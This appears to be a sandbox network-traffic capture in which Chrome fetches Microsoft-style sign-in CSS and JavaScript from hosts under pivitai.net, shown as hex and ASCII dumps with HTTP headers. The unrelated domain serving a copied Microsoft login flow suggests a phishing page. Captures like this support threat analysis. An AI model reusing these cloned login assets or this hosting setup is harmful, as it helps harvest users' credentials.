2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 20 44 45 41 4c 49 4e 47 53 20 49 4e 20 54 48 45 20 53 4f 46 54 57 41 52 45 2e 0a 2a 2f 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 32 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 Data Ascii: DEALINGS IN THE SOFTWARE.//! normalize.css v3.0.2 \| MIT License \| git.io/normalize */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,me
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 6e 75 6d 62 65 72 22 5d 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 6e 65 72 2d 73 70 69 6e 2d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 6e 75 6d 62 65 72 22 5d 3a 3a 2d 77 65 62 6b 69 74 2d 6f 75 74 65 72 2d 73 70 69 6e 2d 62 75 74 74 6f 6e 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 74 65 78 74 66 69 65 6c 64 3b 2d 6d 6f 7a 2d 62 6f Data Ascii: -height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;-moz-bo
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 66 6c 6f 77 3a 76 69 73 69 62 6c 65 3b 63 6c 69 70 3a 61 75 74 6f 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 20 57 65 62 66 6f 6e 74 22 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 22 52 6f 62 6f 74 6f 22 2c 22 45 62 72 69 6d 61 22 2c 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 22 47 61 64 75 67 69 22 2c 22 53 65 67 6f 65 20 58 62 6f 78 20 53 79 6d 62 6f 6c 22 2c 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 22 4d 65 69 72 79 6f 20 55 49 22 2c 22 4b 68 6d 65 72 20 55 49 22 2c 22 54 75 6e 67 61 22 2c 22 4c 61 6f 20 55 49 22 2c 22 52 61 61 76 69 22 2c 22 49 73 Data Ascii: flow:visible;clip:auto}html{font-size:100%}body{font-family:"Segoe UI Webfont",-apple-system,"Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Is
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 65 67 6f 65 20 55 49 20 57 65 62 66 6f 6e 74 27 3b 73 72 63 3a 6c 6f 63 61 6c 28 22 53 65 67 6f 65 20 55 49 20 4c 69 67 68 74 22 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 32 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 65 67 6f 65 20 55 49 20 57 65 62 66 6f 6e 74 27 3b 73 72 63 3a 6c 6f 63 61 6c 28 22 53 65 67 6f 65 20 55 49 22 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 65 67 6f 65 20 55 49 20 57 65 62 66 6f 6e 74 27 3b 73 72 63 3a 6c 6f 63 61 6c 28 22 53 65 67 6f Data Ascii: t-face{font-family:'Segoe UI Webfont';src:local("Segoe UI Light");font-weight:200;font-style:normal}@font-face{font-family:'Segoe UI Webfont';src:local("Segoe UI");font-weight:400;font-style:normal}@font-face{font-family:'Segoe UI Webfont';src:local("Sego
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 3a 31 31 38 2e 37 32 35 36 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 37 2e 34 32 30 33 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 65 72 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 2c 68 31 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 37 34 2e 37 32 35 36 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 2e 39 32 30 33 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 65 72 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 2c 68 31 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 32 33 30 2e 37 32 35 36 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 34 2e 34 32 30 33 35 72 65 6d 7d 2e 74 65 78 74 2d 73 75 62 68 65 61 64 65 72 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 34 70 78 3b 6c Data Ascii: :118.7256px;max-height:7.42035rem}.text-header.text-maxlines-3,h1.text-maxlines-3{max-height:174.7256px;max-height:10.92035rem}.text-header.text-maxlines-4,h1.text-maxlines-4{max-height:230.7256px;max-height:14.42035rem}.text-subheader,h2{font-size:34px;l
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 2e 36 33 36 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 2e 36 33 36 70 78 7d 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 68 34 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 37 2e 32 37 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 37 30 34 35 72 65 6d 7d 2e 74 65 78 74 2d 73 75 62 74 Data Ascii: ine-height:24px;font-weight:400;font-size:1.25rem;line-height:1.5rem;padding-bottom:1.636px;padding-top:1.636px}.text-subtitle.text-maxlines-1,h4.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:27.272px;max-height:1.7045rem}.text-subt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49731	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:25 UTC	666	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_jHSrlUosdD1xxbmcR_lMNA2.js HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:25 UTC	1165	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:25 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 90183 Cache-Control: public, max-age=31536000 Content-Md5: CGjaLdXv/tkpBAR0OeSdSA== Etag: 0x8DC4E99276653A1 Last-Modified: Wed, 27 Mar 2024 20:04:47 GMT Vary: Accept-Encoding X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: dd605e80-001e-0067-0c04-82c90a000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XX%2FJJ1tk9nba0f%2FnodCNZpCt%2FbmBnLPNj7F9gpCfOvDDViSHTh2hU2QSSr4iRbMdRMWm%2BenT0BuzELd6TYOtxRV4L3ootvo%2F2XGGHsh9Qor%2F%2F5lCbBmCB8oap6AkvUFaLYDJIeU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a9430fcc9ea558-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:25 UTC	204	IN	Data Raw: 37 62 31 64 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 Data Ascii: 7b1d/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects liste
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 74 68 65 20 6c 69 63 65 6e 73 65 20 75 6e 64 65 72 20 77 68 69 63 68 20 4d 69 63 72 6f 73 6f 66 74 20 72 65 63 65 69 76 65 64 20 73 75 63 68 20 54 68 69 72 64 20 50 61 72 74 79 20 49 50 2c 20 61 72 65 20 73 65 74 20 66 6f 72 74 68 20 62 65 6c 6f 77 2e 20 53 75 63 68 20 6c 69 63 65 6e 73 65 73 20 61 6e 64 20 6e 6f 74 69 63 65 73 20 61 72 65 20 70 72 6f 76 69 64 65 64 20 66 6f 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 61 6c 20 70 75 72 70 6f 73 65 73 20 6f 6e 6c 79 2e 20 4d 69 63 72 6f 73 6f 66 74 20 6c 69 63 65 6e 73 65 73 20 74 68 65 20 54 68 69 72 64 20 50 61 72 74 79 20 49 50 20 Data Ascii: d below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 2e 6c 65 6e 67 74 68 2c 61 3d 74 68 69 73 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 6c 65 6e 67 74 68 3d 69 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 61 72 67 75 6d 65 6e 74 73 29 2c 61 2e 61 70 70 6c 79 28 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 68 69 73 29 3f 74 68 69 73 3a 65 2c 6e 29 7d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 6f 74 6f 74 79 70 65 26 26 28 6f 2e 70 72 6f 74 6f 74 79 70 65 3d 74 68 69 73 2e 70 72 6f 74 6f 74 79 70 65 29 2c 72 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 6f 2c 72 7d 29 2c 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 7c 7c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c Data Ascii: .length,a=this,o=function(){},r=function(){return n.length=i,n.push.apply(n,arguments),a.apply(o.prototype.isPrototypeOf(this)?this:e,n)};return this.prototype&&(o.prototype=this.prototype),r.prototype=new o,r}),document.head=document.head\|\|document.getEl
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 72 65 73 6f 6c 76 65 28 5b 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 65 28 6e 29 7d 7d 65 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 28 65 2c 21 30 29 7d 2c 65 2e 61 6c 6c 53 65 74 74 6c 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 28 65 2c 21 31 29 7d 2c 65 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 61 29 7b 69 66 28 6e 26 26 6e 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6f 3d 30 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 6f 3c 72 3b 2b 2b 6f 29 7b 76 61 72 20 73 3d 6e 5b 6f 5d 3b 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 3f 73 2e 74 68 65 6e 28 74 Data Ascii: resolve([])}function i(e,n){return function(){e(n)}}e.all=function(e){return t(e,!0)},e.allSettled=function(e){return t(e,!1)},e.race=function(n){return new e((function(t,a){if(n&&n.length)for(var o=0,r=n.length;o<r;++o){var s=n[o];s instanceof e?s.then(t
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 6c 6f 61 64 22 3d 3d 3d 69 2e 74 79 70 65 3f 22 6d 69 73 73 69 6e 67 22 3a 69 2e 74 79 70 65 29 2c 66 3d 69 26 26 69 2e 74 61 72 67 65 74 26 26 69 2e 74 61 72 67 65 74 2e 73 72 63 3b 64 2e 6d 65 73 73 61 67 65 3d 22 4c 6f 61 64 69 6e 67 20 63 68 75 6e 6b 20 22 2b 65 2b 22 20 66 61 69 6c 65 64 20 61 66 74 65 72 20 22 2b 28 63 2b 31 29 2b 22 20 74 72 69 65 73 2e 5c 6e 28 22 2b 6c 2b 22 3a 20 22 2b 66 2b 22 29 22 2c 64 2e 6e 61 6d 65 3d 22 43 68 75 6e 6b 4c 6f 61 64 45 72 72 6f 72 22 2c 64 2e 74 79 70 65 3d 6c 2c 64 2e 72 65 71 75 65 73 74 3d 66 2c 72 5b 31 5d 28 64 29 2c 61 5b 65 5d 3d 75 6e 64 65 66 69 6e 65 64 2c 53 52 53 52 65 74 72 79 26 26 28 77 69 6e 64 6f 77 2e 65 78 74 65 72 6e 61 6c 2e 6e 6f 74 69 66 79 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 Data Ascii: load"===i.type?"missing":i.type),f=i&&i.target&&i.target.src;d.message="Loading chunk "+e+" failed after "+(c+1)+" tries.\n("+l+": "+f+")",d.name="ChunkLoadError",d.type=l,d.request=f,r[1](d),a[e]=undefined,SRSRetry&&(window.external.notify(JSON.stringify
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 32 30 3a 22 69 64 70 72 65 64 69 72 65 63 74 22 2c 32 31 3a 22 69 64 70 72 65 64 69 72 65 63 74 73 70 65 65 64 62 75 6d 70 22 2c 32 32 3a 22 6c 65 61 72 6e 6d 6f 72 65 22 2c 32 33 3a 22 6c 65 61 72 6e 6d 6f 72 65 6f 66 66 6c 69 6e 65 61 63 63 6f 75 6e 74 22 2c 32 35 3a 22 6f 6e 65 74 69 6d 65 63 6f 64 65 22 2c 32 36 3a 22 70 61 73 73 77 6f 72 64 22 2c 32 37 3a 22 70 68 6f 6e 65 64 69 73 61 6d 62 69 67 75 61 74 69 6f 6e 22 2c 32 38 3a 22 70 6f 70 22 2c 32 39 3a 22 70 72 6f 6f 66 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 22 2c 33 30 3a 22 70 72 6f 6f 66 66 65 64 63 6f 6e 66 6c 69 63 74 22 2c 33 31 3a 22 71 72 63 6f 64 65 70 69 6e 22 2c 33 32 3a 22 71 72 63 6f 64 65 73 63 61 6e 22 2c 33 33 3a 22 72 65 6d 6f 74 65 63 6f 6e 6e 65 63 74 63 61 6e 61 72 79 76 61 6c 69 Data Ascii: 20:"idpredirect",21:"idpredirectspeedbump",22:"learnmore",23:"learnmoreofflineaccount",25:"onetimecode",26:"password",27:"phonedisambiguation",28:"pop",29:"proofconfirmation",30:"prooffedconflict",31:"qrcodepin",32:"qrcodescan",33:"remoteconnectcanaryvali
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 22 2c 33 35 3a 22 37 31 63 63 36 31 32 31 36 39 63 63 31 62 66 38 66 66 37 33 22 2c 33 36 3a 22 33 63 37 38 66 35 35 35 38 31 30 37 39 31 64 62 38 33 61 39 22 2c 33 37 3a 22 65 62 36 33 38 64 61 32 35 64 34 30 35 35 66 62 62 62 35 37 22 2c 33 38 3a 22 34 31 63 39 62 61 32 66 35 36 65 39 64 33 37 62 37 61 31 65 22 2c 33 39 3a 22 33 30 64 32 37 34 66 32 33 64 39 64 39 63 35 31 32 38 64 37 22 2c 34 30 3a 22 36 62 64 35 33 38 31 36 30 32 31 65 63 62 37 66 61 62 64 64 22 2c 34 31 3a 22 64 35 37 39 65 64 62 63 39 35 36 33 39 31 32 61 38 35 35 35 22 2c 34 32 3a 22 34 35 64 32 30 39 32 37 39 37 65 33 34 61 34 65 36 30 34 37 22 2c 34 33 3a 22 34 66 33 63 31 32 64 32 35 35 66 30 62 65 38 37 39 62 30 61 22 7d 5b 65 5d 2b 22 2e 6a 73 22 7d 28 65 29 2c 30 29 3b 64 6f Data Ascii: ",35:"71cc612169cc1bf8ff73",36:"3c78f555810791db83a9",37:"eb638da25d4055fbbb57",38:"41c9ba2f56e9d37b7a1e",39:"30d274f23d9d9c5128d7",40:"6bd53816021ecb7fabdd",41:"d579edbc9563912a8555",42:"45d2092797e34a4e6047",43:"4f3c12d255f0be879b0a"}[e]+".js"}(e),0);do
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 54 69 6d 65 43 6f 64 65 44 65 66 61 75 6c 74 4c 65 6e 67 74 68 3d 31 36 2c 6e 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 4d 61 78 4c 65 6e 67 74 68 3d 37 2c 6e 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 4d 61 78 41 63 63 65 70 74 65 64 4c 65 6e 67 74 68 3d 31 30 2c 6e 2e 50 43 45 78 70 65 72 69 65 6e 63 65 51 53 3d 22 70 63 65 78 70 22 2c 6e 2e 50 43 45 78 70 65 72 69 65 6e 63 65 44 69 73 61 62 6c 65 64 3d 6e 2e 50 43 45 78 70 65 72 69 65 6e 63 65 51 53 2b 22 3d 66 61 6c 73 65 22 2c 6e 2e 4e 6f 74 50 72 65 66 65 72 72 65 64 43 72 65 64 65 6e 74 69 61 6c 51 73 3d 22 6e 70 63 22 2c 6e 2e 41 6e 69 6d 61 74 69 6f 6e 54 69 6d 65 6f 75 74 3d 37 30 30 2c 6e 2e 50 61 67 65 53 75 6d 6d 61 72 79 56 65 72 73 69 6f 6e 3d 31 2c 6e 2e 47 75 69 64 54 65 6d 70 6c 61 74 65 3d 22 78 78 Data Ascii: TimeCodeDefaultLength=16,n.OneTimeCodeMaxLength=7,n.OneTimeCodeMaxAcceptedLength=10,n.PCExperienceQS="pcexp",n.PCExperienceDisabled=n.PCExperienceQS+"=false",n.NotPreferredCredentialQs="npc",n.AnimationTimeout=700,n.PageSummaryVersion=1,n.GuidTemplate="xx
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 65 53 69 67 6e 49 6e 3a 36 38 2c 4c 6f 67 69 6e 4d 6f 62 69 6c 65 5f 50 68 6f 6e 65 53 69 67 6e 49 6e 3a 36 39 2c 4c 6f 67 69 6e 4d 6f 62 69 6c 65 5f 48 49 50 5f 50 68 6f 6e 65 53 69 67 6e 49 6e 3a 37 30 2c 4c 6f 67 69 6e 57 69 7a 61 72 64 5f 50 68 6f 6e 65 53 69 67 6e 49 6e 3a 37 31 2c 4c 6f 67 69 6e 57 69 7a 61 72 64 5f 48 49 50 5f 50 68 6f 6e 65 53 69 67 6e 49 6e 3a 37 32 2c 4c 6f 67 69 6e 58 62 6f 78 5f 50 68 6f 6e 65 53 69 67 6e 49 6e 3a 37 33 2c 4c 6f 67 69 6e 58 62 6f 78 5f 48 49 50 5f 50 68 6f 6e 65 53 69 67 6e 49 6e 3a 37 34 2c 4c 6f 67 69 6e 57 69 6e 31 30 3a 37 35 2c 48 49 50 5f 4c 6f 67 69 6e 57 69 6e 31 30 3a 37 36 2c 46 69 6e 69 73 68 57 69 6e 31 30 3a 37 37 2c 46 69 6e 69 73 68 42 6c 6f 63 6b 65 64 57 69 6e 31 30 3a 37 38 2c 4c 6f 67 69 6e Data Ascii: eSignIn:68,LoginMobile_PhoneSignIn:69,LoginMobile_HIP_PhoneSignIn:70,LoginWizard_PhoneSignIn:71,LoginWizard_HIP_PhoneSignIn:72,LoginXbox_PhoneSignIn:73,LoginXbox_HIP_PhoneSignIn:74,LoginWin10:75,HIP_LoginWin10:76,FinishWin10:77,FinishBlockedWin10:78,Login
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 6f 6b 65 6e 3a 22 74 6f 6b 65 6e 22 2c 69 64 5f 74 6f 6b 65 6e 3a 22 69 64 5f 74 6f 6b 65 6e 22 2c 6e 6f 6e 65 3a 22 6e 6f 6e 65 22 7d 2c 6e 2e 50 61 67 69 6e 61 74 65 64 53 74 61 74 65 3d 7b 50 72 65 76 69 6f 75 73 3a 2d 31 2c 55 6e 6b 6e 6f 77 6e 3a 30 2c 55 73 65 72 6e 61 6d 65 3a 31 2c 50 61 73 73 77 6f 72 64 3a 32 2c 4f 6e 65 54 69 6d 65 43 6f 64 65 3a 33 2c 52 65 6d 6f 74 65 4e 47 43 3a 34 2c 50 68 6f 6e 65 44 69 73 61 6d 62 69 67 75 61 74 69 6f 6e 3a 35 2c 4c 77 61 43 6f 6e 73 65 6e 74 3a 36 2c 49 64 70 44 69 73 61 6d 62 69 67 75 61 74 69 6f 6e 3a 37 2c 49 64 70 52 65 64 69 72 65 63 74 3a 38 2c 56 69 65 77 41 67 72 65 65 6d 65 6e 74 3a 31 30 2c 4c 65 61 72 6e 4d 6f 72 65 3a 31 31 2c 54 69 6c 65 73 3a 31 32 2c 43 6f 6e 66 69 72 6d 53 65 6e 64 3a 31 Data Ascii: oken:"token",id_token:"id_token",none:"none"},n.PaginatedState={Previous:-1,Unknown:0,Username:1,Password:2,OneTimeCode:3,RemoteNGC:4,PhoneDisambiguation:5,LwaConsent:6,IdpDisambiguation:7,IdpRedirect:8,ViewAgreement:10,LearnMore:11,Tiles:12,ConfirmSend:1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49730	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:25 UTC	685	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_l2bvdjfwt697xziuhxpwsg2.js HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:25 UTC	1157	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:25 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 90183 Cache-Control: public, max-age=31536000 Content-Md5: l4psGqk05bHFMg1RX9JWYg== Etag: 0x8DC4ECE6B595BA6 Last-Modified: Thu, 28 Mar 2024 02:26:05 GMT Vary: Accept-Encoding X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 17d7789a-601e-0009-3f04-822935000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F%2FpiIwYIFWbDZ7M9%2Bd079VNorEm10XrAGP4NljzlEJbfYYEmeBS2C4FX60UYgehmbSMGlxh0m7NRyAJ9XjpNuMO9uitO9gqXx2hSTXuGuXx9soEkO3M3iK1DRYJLtE0h3tzK0c4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a9430fc934336d-MIA alt-svc: h3=":443"; ma=86400
